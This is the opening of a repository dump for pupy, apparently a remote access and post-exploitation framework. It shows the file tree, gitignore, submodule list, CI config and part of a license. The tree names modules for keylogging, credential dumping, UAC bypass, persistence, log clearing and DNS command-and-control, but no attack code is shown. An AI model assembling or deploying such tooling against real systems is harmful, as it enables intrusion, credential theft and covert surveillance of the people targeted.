Repository: n1nj4sec/pupy Branch: nextgen Commit: 56b7aac6b4c5 Files: 643 Total size: 4.7 MB Directory structure: gitextract_ustywo0t/ ├── .gitignore ├── .gitmodules ├── .travis.yml ├── LICENSE ├── README.md ├── client/ │ ├── additional_imports.py │ ├── android_sources/ │ │ ├── build-docker.sh │ │ ├── build.sh │ │ ├── buildozer-docker.spec │ │ ├── buildozer.spec.example │ │ ├── main.py │ │ └── pp.py │ ├── build-docker.sh │ ├── build_library_zip.py │ ├── common/ │ │ ├── 7zTypes.h │ │ ├── LzmaDec.c │ │ ├── LzmaDec.h │ │ ├── Python-dynload.c │ │ ├── Python-dynload.h │ │ ├── Python-stacktrace.c │ │ ├── Python-stacktrace.h │ │ ├── debug.c │ │ ├── debug.h │ │ ├── jni.h │ │ ├── jni_md.h │ │ ├── jni_on_load.c │ │ ├── lzmaunpack.c │ │ └── uthash.h │ ├── gen_library_compressed_string.py │ ├── gen_resource_header.py │ ├── mktab.py │ ├── pyoxidizer-build/ │ │ ├── build_template.sh │ │ ├── lib/ │ │ │ └── http_parser/ │ │ │ ├── __init__.py │ │ │ ├── _socketio.py │ │ │ ├── http.py │ │ │ ├── pyparser.py │ │ │ ├── reader.py │ │ │ └── util.py │ │ ├── linux-builder.Dockerfile │ │ ├── pyoxidizer.bzl │ │ └── requirements.txt │ ├── requirements.txt │ ├── sources-linux-py3/ │ │ ├── .gitignore │ │ ├── Dockerfile.linux-builder │ │ ├── LICENSES.txt │ │ ├── Makefile │ │ ├── Python-dynload-os.h │ │ ├── Python.SunOS10.Setup.dist │ │ ├── build-docker.sh │ │ ├── build_c_ext.py │ │ ├── buildenv-sunos.sh │ │ ├── compat/ │ │ │ ├── bits/ │ │ │ │ ├── sched.h │ │ │ │ └── stat.h │ │ │ ├── ifaddrs.h │ │ │ └── sched.h │ │ ├── daemonize.c │ │ ├── daemonize.h │ │ ├── decompress.c │ │ ├── decompress.h │ │ ├── docker/ │ │ │ └── pyenv-setup-build.patch │ │ ├── fixes.c │ │ ├── fixes.h │ │ ├── ld_hooks.c │ │ ├── ld_hooks.h │ │ ├── main_exe.c │ │ ├── main_so.c │ │ ├── memfd.h │ │ ├── pupy.c │ │ ├── pupy.ldscript │ │ ├── pupy.so.ldscript │ │ ├── pupy_load.c │ │ ├── pupy_load.h │ │ ├── revision.h │ │ ├── tmplibrary.c │ │ └── tmplibrary.h │ └── sources-windows-py3/ │ ├── .gitignore │ ├── GetProcAddressR.c │ ├── GetProcAddressR.h │ ├── LICENSES.txt │ ├── LoadLibraryR.c │ ├── LoadLibraryR.h │ ├── Makefile │ ├── MemoryModule.c │ ├── MemoryModule.h │ ├── MyLoadLibrary.c │ ├── MyLoadLibrary.h │ ├── Python-dynload-os.h │ ├── ReflectiveDllInjection.h │ ├── ReflectiveLoader.c │ ├── ReflectiveLoader.h │ ├── actctx.c │ ├── actctx.h │ ├── base_inject.c │ ├── base_inject.h │ ├── build-docker.sh │ ├── in-mem-exe.c │ ├── main_exe.c │ ├── main_reflective.c │ ├── postmortem.c │ ├── postmortem.h │ ├── pupy.c │ ├── pupy_load.c │ ├── pupy_load.h │ ├── remote_thread.c │ ├── remote_thread.h │ ├── resource_python_manifest.c │ ├── thread.c │ └── thread.h ├── pupy/ │ ├── .dockerignore │ ├── __init__.py │ ├── agent/ │ │ ├── __init__.py │ │ ├── __main__.py │ │ ├── _linux_memfd.py │ │ ├── config.py │ │ ├── dl_hacks.py │ │ ├── handlers.py │ │ ├── logger.py │ │ ├── manager.py │ │ ├── memimporter/ │ │ │ ├── __init__.py │ │ │ ├── linux.py │ │ │ ├── posix.py │ │ │ ├── utils.py │ │ │ └── win32.py │ │ ├── pstore.py │ │ ├── psutil_hacks.py │ │ ├── service.py │ │ ├── ssl_hacks.py │ │ ├── utils.py │ │ └── winerror_hacks.py │ ├── cli/ │ │ ├── __init__.py │ │ ├── __main__.py │ │ ├── pupygen.py │ │ └── pupysh.py │ ├── commands/ │ │ ├── __init__.py │ │ ├── config.py │ │ ├── connect.py │ │ ├── creds.py │ │ ├── dnscnc.py │ │ ├── exit.py │ │ ├── exposed.py │ │ ├── gen.py │ │ ├── help.py │ │ ├── jobs.py │ │ ├── listen.py │ │ ├── logging.py │ │ ├── python.py │ │ ├── restart.py │ │ ├── run.py │ │ ├── sessions.py │ │ └── tag.py │ ├── conf/ │ │ ├── imports_done.py │ │ └── pupy.conf.default │ ├── external/ │ │ ├── PowerSploit/ │ │ │ ├── CodeExecution/ │ │ │ │ └── Invoke-ReflectivePEInjection.ps1 │ │ │ └── Recon/ │ │ │ └── PowerView.ps1 │ │ ├── creddump7/ │ │ │ ├── .gitignore │ │ │ ├── CHANGELOG │ │ │ ├── COPYING │ │ │ ├── README.md │ │ │ ├── cachedump.py │ │ │ ├── framework/ │ │ │ │ ├── __init__.py │ │ │ │ ├── addrspace.py │ │ │ │ ├── newobj.py │ │ │ │ ├── object.py │ │ │ │ ├── types.py │ │ │ │ └── win32/ │ │ │ │ ├── __init__.py │ │ │ │ ├── domcachedump.py │ │ │ │ ├── hashdump.py │ │ │ │ ├── lsasecrets.py │ │ │ │ └── rawreg.py │ │ │ ├── lsadump.py │ │ │ └── pwdump.py │ │ └── linenum/ │ │ └── linenum.sh │ ├── library_patches_py2/ │ │ ├── Crypto/ │ │ │ └── Util/ │ │ │ └── _raw_api.py │ │ ├── linecache.py │ │ ├── site.py │ │ ├── sysconfig.py_old │ │ └── uuid.py │ ├── library_patches_py3/ │ │ ├── Crypto/ │ │ │ └── Util/ │ │ │ └── _raw_api.py │ │ ├── bz2.py │ │ ├── linecache.py │ │ ├── poster/ │ │ │ ├── __init__.py │ │ │ ├── encode.py │ │ │ └── streaminghttp.py │ │ ├── site.py │ │ ├── umsgpack.py │ │ └── xattr/ │ │ └── lib_build.py │ ├── modules/ │ │ ├── __init__.py │ │ ├── ad.py │ │ ├── alive.py │ │ ├── apps.py │ │ ├── become.py │ │ ├── beroot.py │ │ ├── bypassuac.py │ │ ├── call.py │ │ ├── cat.py │ │ ├── cd.py │ │ ├── check_vm.py │ │ ├── clear_logs.py │ │ ├── cloudinfo.py │ │ ├── contacts.py │ │ ├── cp.py │ │ ├── credcap.py │ │ ├── creddump.py │ │ ├── date.py │ │ ├── display.py │ │ ├── dns.py │ │ ├── download.py │ │ ├── drives.py │ │ ├── duplicate.py │ │ ├── echo.py │ │ ├── edit.py │ │ ├── env.py │ │ ├── exit.py │ │ ├── exploit_suggester.py │ │ ├── forward.py │ │ ├── get_hwuuid.py │ │ ├── get_info.py │ │ ├── getdomain.py │ │ ├── getpid.py │ │ ├── getppid.py │ │ ├── getprivs.py │ │ ├── getsystem.py │ │ ├── getuid.py │ │ ├── gpstracker.py │ │ ├── hashmon.py │ │ ├── hide_process.py │ │ ├── http.py │ │ ├── igd.py │ │ ├── impersonate.py │ │ ├── interactive_shell.py │ │ ├── inveigh.py │ │ ├── ip.py │ │ ├── isearch.py │ │ ├── keylogger.py │ │ ├── last.py │ │ ├── lazagne.py │ │ ├── lib/ │ │ │ ├── __init__.py │ │ │ ├── linux/ │ │ │ │ ├── __init__.py │ │ │ │ ├── exec_elf.py │ │ │ │ └── migrate.py │ │ │ ├── utils/ │ │ │ │ ├── __init__.py │ │ │ │ ├── cmdrepl.py │ │ │ │ ├── download.py │ │ │ │ └── shell_exec.py │ │ │ └── windows/ │ │ │ ├── __init__.py │ │ │ ├── memory_exec.py │ │ │ ├── migrate.py │ │ │ ├── powerloader.py │ │ │ ├── powershell.py │ │ │ └── winpcap.py │ │ ├── linux_stealth.py │ │ ├── load_package.py │ │ ├── lock_screen.py │ │ ├── logs.py │ │ ├── loot_memory.py │ │ ├── ls.py │ │ ├── mapped.py │ │ ├── memory_exec.py │ │ ├── memstrings.py │ │ ├── migrate.py │ │ ├── mimikatz.py │ │ ├── mimipy.py │ │ ├── mimishell.py │ │ ├── mkdir.py │ │ ├── mouselogger.py │ │ ├── msgbox.py │ │ ├── mv.py │ │ ├── nbnsspoof.py │ │ ├── netcreds.py │ │ ├── netmon.py │ │ ├── netstat.py │ │ ├── odbc.py │ │ ├── outlook.py │ │ ├── persistence.py │ │ ├── pexec.py │ │ ├── pipecatcher.py │ │ ├── port_scan.py │ │ ├── portfwd.py │ │ ├── powerview.py │ │ ├── privesc_checker.py │ │ ├── process_kill.py │ │ ├── ps.py │ │ ├── psexec.py │ │ ├── psh.py │ │ ├── pwd.py │ │ ├── pyexec.py │ │ ├── pyshell.py │ │ ├── pywerview.py │ │ ├── rdesktop.py │ │ ├── rdp.py │ │ ├── record_mic.py │ │ ├── reg.py │ │ ├── rfs.py │ │ ├── rm.py │ │ ├── rwmic.py │ │ ├── scapy_shell.py │ │ ├── screenshot.py │ │ ├── search.py │ │ ├── services.py │ │ ├── shares.py │ │ ├── shell_exec.py │ │ ├── shellcode_exec.py │ │ ├── smb.py │ │ ├── smbspider.py │ │ ├── socks5proxy.py │ │ ├── ssh.py │ │ ├── sshell.py │ │ ├── stat.py │ │ ├── sudo_alias.py │ │ ├── tasks.py │ │ ├── tcpdump.py │ │ ├── text_to_speach.py │ │ ├── ttyrec.py │ │ ├── upload.py │ │ ├── users.py │ │ ├── usniper.py │ │ ├── vibrate.py │ │ ├── w.py │ │ ├── webcamsnap.py │ │ ├── wmic.py │ │ ├── write.py │ │ ├── x509.py │ │ └── zip.py │ ├── network/ │ │ ├── __init__.py │ │ ├── conf.py │ │ ├── lib/ │ │ │ ├── __init__.py │ │ │ ├── ack.py │ │ │ ├── base.py │ │ │ ├── base_launcher.py │ │ │ ├── buffer.py │ │ │ ├── clients.py │ │ │ ├── compat.py │ │ │ ├── connection.py │ │ │ ├── convcompat.py │ │ │ ├── dnsinfo.py │ │ │ ├── doh.py │ │ │ ├── echo.py │ │ │ ├── igd.py │ │ │ ├── launchers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── auto_proxy.py │ │ │ │ ├── bind.py │ │ │ │ ├── connect.py │ │ │ │ └── dnscnc.py │ │ │ ├── msgtypes.py │ │ │ ├── netcreds.py │ │ │ ├── ntop.py │ │ │ ├── ntplib.py │ │ │ ├── online.py │ │ │ ├── pac.py │ │ │ ├── picocmd/ │ │ │ │ ├── __init__.py │ │ │ │ ├── ascii85.py │ │ │ │ ├── baseconv.py │ │ │ │ ├── client.py │ │ │ │ ├── dns_encoder.py │ │ │ │ ├── dns_encoder_table.py │ │ │ │ ├── picocmd.py │ │ │ │ └── server.py │ │ │ ├── proxies.py │ │ │ ├── pupyrpc.py │ │ │ ├── rpc/ │ │ │ │ ├── __init__.py │ │ │ │ ├── core/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── brine.py │ │ │ │ │ ├── channel.py │ │ │ │ │ ├── consts.py │ │ │ │ │ ├── netref.py │ │ │ │ │ ├── nowait.py │ │ │ │ │ ├── protocol.py │ │ │ │ │ ├── service.py │ │ │ │ │ ├── stream.py │ │ │ │ │ └── vinegar.py │ │ │ │ ├── lib/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── colls.py │ │ │ │ ├── utils/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── classic.py │ │ │ │ │ ├── helpers.py │ │ │ │ │ └── server.py │ │ │ │ └── version.py │ │ │ ├── scan.py │ │ │ ├── servers.py │ │ │ ├── socks.py │ │ │ ├── streams/ │ │ │ │ ├── PupySocketStream.py │ │ │ │ ├── PupyVirtualStream.py │ │ │ │ └── __init__.py │ │ │ ├── stun.py │ │ │ ├── tinyhttp.py │ │ │ ├── transports/ │ │ │ │ ├── __init__.py │ │ │ │ ├── cryptoutils/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── aes.py │ │ │ │ │ ├── ecpv.py │ │ │ │ │ ├── pbkdf2.py │ │ │ │ │ ├── rc4.py │ │ │ │ │ ├── sha.py │ │ │ │ │ └── xor.py │ │ │ │ ├── dummy.py │ │ │ │ ├── ec4.py │ │ │ │ ├── ecm.py │ │ │ │ ├── http.py │ │ │ │ ├── httpwrap.py │ │ │ │ ├── obfs3/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── obfs3.py │ │ │ │ │ └── obfs3_dh.py │ │ │ │ ├── obfscommon/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── modexp.py │ │ │ │ │ └── serialize.py │ │ │ │ ├── rsa_aes.py │ │ │ │ ├── utils.py │ │ │ │ └── websocket.py │ │ │ └── utils.py │ │ └── transports/ │ │ ├── __init__.py │ │ ├── dfws/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── ec4/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── ecm/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── http/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── kc4/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── obfs3/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── rsa/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── ssl/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── ssl_rsa/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── tcp_cleartext/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── udp_cleartext/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ ├── udp_secure/ │ │ │ ├── __init__.py │ │ │ └── conf.py │ │ └── ws/ │ │ ├── __init__.py │ │ └── conf.py │ ├── packages/ │ │ ├── all/ │ │ │ ├── ad.py │ │ │ ├── cloudinfo.py │ │ │ ├── fsutils.py │ │ │ ├── gssapi.py │ │ │ ├── hwuuid.py │ │ │ ├── interactive_shell.py │ │ │ ├── loot_memory.py │ │ │ ├── memstrings.py │ │ │ ├── mic_recorder.py │ │ │ ├── nbnsspoof.py │ │ │ ├── netmon.py │ │ │ ├── odbc.py │ │ │ ├── png.py │ │ │ ├── pupyps.py │ │ │ ├── pupyutils/ │ │ │ │ ├── __init__.py │ │ │ │ ├── basic_cmds.py │ │ │ │ ├── dns.py │ │ │ │ ├── netcreds.py │ │ │ │ ├── portfwd.py │ │ │ │ ├── psexec.py │ │ │ │ ├── rdp_check.py │ │ │ │ ├── rreg.py │ │ │ │ ├── safepopen.py │ │ │ │ ├── search.py │ │ │ │ ├── share_enum.py │ │ │ │ ├── smbspider.py │ │ │ │ ├── users.py │ │ │ │ └── zip.py │ │ │ ├── pyshell/ │ │ │ │ ├── PythonCompleter.py │ │ │ │ ├── __init__.py │ │ │ │ └── controller.py │ │ │ ├── pyuvproxy.py │ │ │ ├── rdesktop.py │ │ │ ├── scandir.py │ │ │ ├── screenshot.py │ │ │ ├── ssh.py │ │ │ ├── tasks.py │ │ │ ├── tcpdump.py │ │ │ ├── transfer.py │ │ │ ├── whole.py │ │ │ └── winerror.py │ │ ├── android/ │ │ │ └── pupydroid/ │ │ │ ├── __init__.py │ │ │ ├── apps.py │ │ │ ├── call.py │ │ │ ├── camera.py │ │ │ ├── contacts.py │ │ │ ├── gpsTracker.py │ │ │ ├── text_to_speech.py │ │ │ ├── utils.py │ │ │ └── vibrator.py │ │ ├── darwin/ │ │ │ ├── checkvm.py │ │ │ ├── hashdump.py │ │ │ └── keylogger.py │ │ ├── linux/ │ │ │ └── all/ │ │ │ ├── checkvm.py │ │ │ ├── fsutils_ext.py │ │ │ ├── hide_process.py │ │ │ ├── keylogger.py │ │ │ ├── linux_stealth.py │ │ │ ├── mapped.py │ │ │ ├── memexec.py │ │ │ ├── notify.py │ │ │ ├── persistence.py │ │ │ ├── readlogs.py │ │ │ ├── secretstorage/ │ │ │ │ ├── __init__.py │ │ │ │ ├── collection.py │ │ │ │ ├── defines.py │ │ │ │ ├── dhcrypto.py │ │ │ │ ├── exceptions.py │ │ │ │ ├── item.py │ │ │ │ └── util.py │ │ │ ├── services.py │ │ │ ├── ttyrec.py │ │ │ └── usniper.py │ │ ├── patches/ │ │ │ └── all/ │ │ │ └── scapy/ │ │ │ ├── __init__.py │ │ │ ├── all.py │ │ │ ├── asn1/ │ │ │ │ └── .ignore │ │ │ ├── compat.py │ │ │ ├── config.py │ │ │ ├── contrib/ │ │ │ │ └── .ignore │ │ │ ├── data.py │ │ │ ├── error.py │ │ │ ├── extlib.py │ │ │ ├── layers/ │ │ │ │ └── .ignore │ │ │ ├── main.py │ │ │ ├── modules/ │ │ │ │ ├── .ignore │ │ │ │ ├── __init__.py.include │ │ │ │ ├── six.py.include │ │ │ │ └── winpcapy.py.include │ │ │ └── tools/ │ │ │ └── .ignore │ │ ├── posix/ │ │ │ └── all/ │ │ │ ├── become.py │ │ │ ├── display.py │ │ │ ├── hashmon.py │ │ │ ├── mount.py │ │ │ ├── ptyshell.py │ │ │ ├── readlogs.py │ │ │ ├── readlogs_generic.py │ │ │ ├── sudo_alias.py │ │ │ └── uidle.py │ │ ├── src/ │ │ │ └── VideoCapture/ │ │ │ ├── LGPL.txt │ │ │ └── src/ │ │ │ ├── VideoCapture.py │ │ │ ├── fixhtml.py │ │ │ ├── helvB08.pil │ │ │ ├── helvetica-10.pil │ │ │ ├── mkdist.py │ │ │ ├── vidcap.dsp │ │ │ ├── vidcap.dsw │ │ │ └── vidcapmodule.cpp │ │ └── windows/ │ │ ├── all/ │ │ │ ├── checkvm.py │ │ │ ├── conpty.py │ │ │ ├── fsutils.py │ │ │ ├── fsutils_ext.py │ │ │ ├── isearch.py │ │ │ ├── junctions.py │ │ │ ├── netresources.py │ │ │ ├── ntfs_streams.py │ │ │ ├── outlook.py │ │ │ ├── pipecatcher.py │ │ │ ├── powerloader.py │ │ │ ├── powershell.py │ │ │ ├── ptyshell.py │ │ │ ├── pupwinutils/ │ │ │ │ ├── __init__.py │ │ │ │ ├── bypassuac_registry.py │ │ │ │ ├── bypassuac_token_imp.py │ │ │ │ ├── drives.py │ │ │ │ ├── getdomain.py │ │ │ │ ├── hookfuncs.py │ │ │ │ ├── keylogger.py │ │ │ │ ├── memexec.py │ │ │ │ ├── mouselogger.py │ │ │ │ ├── msgbox.py │ │ │ │ ├── processes.py │ │ │ │ ├── rdp.py │ │ │ │ ├── security.py │ │ │ │ ├── shellcode.py │ │ │ │ └── wdigest.py │ │ │ ├── readlogs.py │ │ │ ├── reg.py │ │ │ ├── uidle.py │ │ │ ├── winpty.py │ │ │ └── wql.py │ │ ├── amd64/ │ │ │ └── vidcap.pyd │ │ └── x86/ │ │ └── vidcap.pyd │ ├── payload_templates/ │ │ └── .keep │ ├── pupylib/ │ │ ├── PupyCategories.py │ │ ├── PupyClient.py │ │ ├── PupyClientInitializer.py │ │ ├── PupyCmd.py │ │ ├── PupyCompile.py │ │ ├── PupyCompleter.py │ │ ├── PupyConfig.py │ │ ├── PupyCredentials.py │ │ ├── PupyDnsCnc.py │ │ ├── PupyErrors.py │ │ ├── PupyJob.py │ │ ├── PupyLogger.py │ │ ├── PupyModule.py │ │ ├── PupyOffload.py │ │ ├── PupyOutput.py │ │ ├── PupyServer.py │ │ ├── PupyService.py │ │ ├── PupySignalHandler.py │ │ ├── PupyTriggers.py │ │ ├── PupyVersion.py │ │ ├── PupyWeb.py │ │ ├── PythonCompleter.py │ │ ├── __init__.py │ │ ├── conf.py │ │ ├── payloads/ │ │ │ ├── __init__.py │ │ │ ├── dependencies.py │ │ │ ├── dotnet.py │ │ │ ├── ps1_oneliner.py │ │ │ ├── py_oneliner.py │ │ │ └── rubber_ducky.py │ │ └── utils/ │ │ ├── __init__.py │ │ ├── arch.py │ │ ├── common.py │ │ ├── credentials.py │ │ ├── downloader.py │ │ ├── jarsigner.py │ │ ├── listener.py │ │ ├── obfuscate.py │ │ ├── pe.py │ │ ├── rpyc_utils.py │ │ └── term.py │ ├── scriptlets/ │ │ ├── __init__.py │ │ ├── daemonize.py │ │ ├── hide_argv.py │ │ ├── keylogger.py │ │ └── persistence.py │ ├── triggers/ │ │ ├── __init__.py │ │ ├── example_trigger.py │ │ └── notification.py │ └── webstatic/ │ ├── index.html │ ├── nginx_index.html │ └── rdesktop/ │ ├── index.html │ └── rdesktop.js ├── requirements.txt ├── services/ │ ├── echo/ │ │ └── main.go │ └── proxy/ │ ├── daemon.go │ ├── dns.go │ ├── generate.go │ ├── limits_linux.go │ ├── main.go │ ├── message.go │ ├── streams.go │ └── types.go ├── setup.py └── tox.ini ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Temporary files *.pyc *.pyo *.swp .#* # Generated sources client/sources/import-tab.c client/sources/import-tab.h client/sources/revision.h client/sources-linux/revision.h client/sources-linux/ld_hooks_64.c client/sources-linux/ld_hooks_64d.c client/android_sources/buildozer.spec # Compiled files client/sources/*.obj client/sources/*.obj client/sources/_pupy* client/sources/resources client/pyoxidizer-build/lib/pupy client/pyoxidizer-build/library_patches_py3 client/sources-linux/*.o client/sources-linux/*.lin client/sources-linux/*.so client/sources-linux/resources pupy/payload_templates/*.toc pupy/payload_templates/*.dll pupy/payload_templates/*.exp pupy/payload_templates/*.lib pupy/payload_templates/*.zip pupy/payload_templates/*.exe pupy/payload_templates/*.lin pupy/payload_templates/*.lin.so pupy/payload_templates/*.pyd # pupy pupy/.pupy_history pupy/config pupy/crypto pupy/data pupy/proxy/proxy build pupy.egg-info .pupy_history pupyvenv ================================================ FILE: .gitmodules ================================================ [submodule "pupy/external/LaZagne"] path = pupy/external/LaZagne url = https://github.com/AlessandroZ/LaZagne [submodule "pupy/external/linux-exploit-suggester"] path = pupy/external/linux-exploit-suggester url = https://github.com/mzet-/linux-exploit-suggester [submodule "pupy/external/pywerview"] path = pupy/external/pywerview url = https://github.com/the-useless-one/pywerview.git [submodule "pupy/external/winpty"] path = pupy/external/winpty url = https://github.com/alxchk/winpty [submodule "pupy/memorpy"] path = pupy/external/memorpy url = https://github.com/alxchk/memorpy [submodule "pupy/external/mimipy"] path = pupy/external/mimipy url = https://github.com/n1nj4sec/mimipy.git [submodule "client/android_sources/python-for-android"] path = client/android_sources/python-for-android url = https://github.com/alxchk/python-for-android.git [submodule "pupy/external/Inveigh"] path = pupy/external/Inveigh url = https://github.com/Kevin-Robertson/Inveigh.git [submodule "pupy/pupy/external/BeRoot"] path = pupy/external/BeRoot url = https://github.com/AlessandroZ/BeRoot [submodule "client/toolchain/docker-old-tc-bootstrap"] path = client/toolchain/docker-old-tc-bootstrap url = https://github.com/alxchk/docker-old-tc-bootstrap [submodule "client/toolchain/docker-old-tc"] path = client/toolchain/docker-old-tc url = https://github.com/alxchk/docker-old-tc [submodule "pupy/external/pyopus"] path = pupy/external/pyopus url = https://github.com/alxchk/pyopus [submodule "pupy/external/WinPwnage"] path = pupy/external/WinPwnage url = https://github.com/rootm0s/WinPwnage [submodule "pupy/external/wesng"] path = pupy/external/wesng url = https://github.com/bitsadmin/wesng [submodule "client/sources-linux/injector"] path = client/sources-linux/injector url = https://github.com/kubo/injector [submodule "pykcp"] url = https://github.com/n1nj4sec/pykcp [submodule "pupy/external/pykcp"] path = pupy/external/pykcp url = https://github.com/n1nj4sec/pykcp ================================================ FILE: .travis.yml ================================================ os: linux dist: xenial services: docker language: generic jobs: include: - language: generic - language: python # run flake8 linter on Python 3 in allow_failures mode python: 3.8 env: - FLAKE8_SELECT="E9,F63,F7,F82" install: pip install flake8 before_script: true # override script: flake8 . --count --select=$FLAKE8_SELECT --show-source --statistics allow_failures: - python: 3.8 before_script: - sudo pip2 install flake8 flake8-per-file-ignores - sudo apt-get install swig libssl-dev python-all-dev - cd $TRAVIS_BUILD_DIR/pupy && python2 -m flake8 . - | docker pull alxchk/tc-windows & docker pull alxchk/tc-linux32 & docker pull alxchk/tc-linux64 & docker pull alxchk/tc-android script: - export TAG=`if [ "$TRAVIS_BRANCH" == "master" ]; then echo "latest"; else echo $TRAVIS_BRANCH; fi` - cd $TRAVIS_BUILD_DIR && ./build-docker-images.sh - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.lin - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.so - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.dll - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.exe - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.lin - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.so - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.dll - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.exe - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupy.apk - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/windows-amd64.zip - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/windows-x86.zip - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/linux-amd64.zip - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/linux-x86.zip after_success: - export TAG=`if [ "$TRAVIS_BRANCH" == "master" ]; then echo "latest"; else echo $TRAVIS_BRANCH; fi` - | if [ "$TRAVIS_REPO_SLUG" = "alxchk/pupy" ] && [ -z "$TRAVIS_PULL_REQUEST_SLUG" ]; then docker login -u $DOCKER_USER -p $DOCKER_PASS && cd $TRAVIS_BUILD_DIR/pupy && docker push alxchk/pupy:$TAG >/dev/null; docker push alxchk/pupy:base-$TAG >/dev/null; fi env: global: - COMMIT=${TRAVIS_COMMIT::8} - secure: gKv5C4ZTnnzOcQiGrbwEgJhE8SPJLCSIYsdDLpDIHk7OjNu+hGp+frygU25w2NlHyV7cReu7glvyphVwmrQ+FyBRtrKysk+HbU59QiVVOD6x8uyDEZ5qG0NeEOoD9ChdgSy2CSl39Pf8IIcCgZIcyNDukxZbGaUr4LpOSRu8E5H1YT9qxpsDHidQkkcYbZLNlVmhBNZ2LlFXZAu7LwSx111dMTPPVY+zRR1VmaXLuqn90p/L5Cn04xcJHMSc9fhIA3ty463KgDMuM4IXYQS1xCxyZwCpYGbHtuZYDvjmrVhQpEidj5ibcnb+ll+9XNr4JYi6ldVRDmv7J/1DOVd9Iw77LJ0SAGvTDGzTMHRz74Er82xa6zu5NkzW98oti6tCYM9QeAGp4QSJnO0WqgG87y3JW0Ponv3suMG60zPAeLYcuiyhmmOy/v3w0Xq1FHsyqSayN4koJDpUJ7DQQDbSv1Nc0MaG9XZaNVAMab0sWaqbgCMkteNN6w72lAVTck6b/NDV2taONOiNJFJIhiOpO4EZ8g4t7j/ZXpBnP9O+//APQ5WeREEcsbS32y2/R6YiHkKlnPDomfm1fJWZh3KUzRur3PbXvpJkc9D+68UYh02oYlodfi9zoDpCn5OymFPYYI9fibmbuZ1aBwlGPsYnYliAXtlEd/W3XMKT1pWdvbI= - secure: HOQ7k4Sf9p3CyNy02lBMH5Ff2OeOXQWElLad9vFg0LTkxfnfkGeWP9K+fAR9Lp3nAAd5QRX/2MaJxJTomVHJSCGqjuqrqkBHBLCs7Fgt+bKx2F3QujoqJY4orZHKxpN7YFwAGF4rRzR5Q24xfvIgrnJNWgAoiEKV9yPEFa8k5pJ37MaTFRmOtkrfsN2bdpRc1uD5jbbccVFHPeTDIUa80JRuMBEVDMjJ+CeQq5il3OJUAEdiK03zPDeoCibQCl7UGQxvaWFpYlCUKw1r7d/roJcwlNnYrM0OnImAx0gAGg68vXfZFh/XHE75J3QA7eD/pQ3VdVH1OIgg2Ke3nqO4XMtl6nJGYjC+3fAzq+BOgqvHcwpNzVf6GIXwUl77Bfe1Hlx4uRrCmjbD769bIQLJeUtwKnp9fTjGC8iHEfxW5LsD3PH31vAWfADTB04puGzUAJaBVNwNlnw+dG15lH/LHvjxhJBze2Sj5Mgd2TyNDS+c6dDcIXBnLaajmxs32t87vWNjXjF0wMvBo9G1WMBH3N8UbIV/TPqaT5nINi9ntmY8wFDstNd6g1C3gtfVNsmA7cqb+AbeL8ezETMxwvTrUpPVAu2VcjomgE0zld4kBFvWVs9RQiBfmkChKEZZ3/5u9F9tRbaEcnQukw7+ULsrBqNbZwC4iHtMo3PYCHE0lk8= - secure: Ro35F3YR2e1vOnDSBTHe9HdUxC7N0CEk9cxNaiOrF34qm8EhS4SJT5pv6rmNWPw8eKctS35NFtHPkkPI1WSsomFxDSd36cq2e2vfO4vrfqojXEvPqeoJMneLV1/cmNUlX8kz3NDxOCyRBaPzF1fhem7QAmdWPZ005JzaZzPysQVXe0eTH5M1JKlLWBKkMgIDb/T0pI/zPq/kJc5V81ci9D7IVe8hlNR6SdSIZ4xOvBfZcPGMRZHew9yMIvI9a81uSplBy1LkX557Udj9n3A/4K5OsY+mrsJRd7Yk1AHB4SPLc2fW9GXiUCTVFCViQFX3YwdcPdbLnHVZbsVE6TfSrgN4GndG2OIkcVNXMgnNYk9bFjRcrXa+i+Oa2nnOQ0eYdvXuW5kGPoeoyJQZZWa9c3fWgt71Ze7eP/6SWIQ4mEyzpbWVHqL8m7aNGvI8/mfqlSk138ZiDYY1Va/IlcWwrBerkQaUz7a/j6sohB2zpua05LNrxW8ZPDhMo0Kq+U+e/x6Qqgc35MnnfhJR8AvA2CRccaxptWBcfzFlJ1CHhLKhdwSA8zfa58vRDnGphwqYO+FF44Tmr1NwRMT3ytHB5GtTSlUjzy0Evmyf81hhI0S+5L2Oeuv1n0sQEf/qS9Tfppuc36gAQClRgmHFgmM5WkIOQy/lyRKDUkM7/JUsE50= ================================================ FILE: LICENSE ================================================ Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided 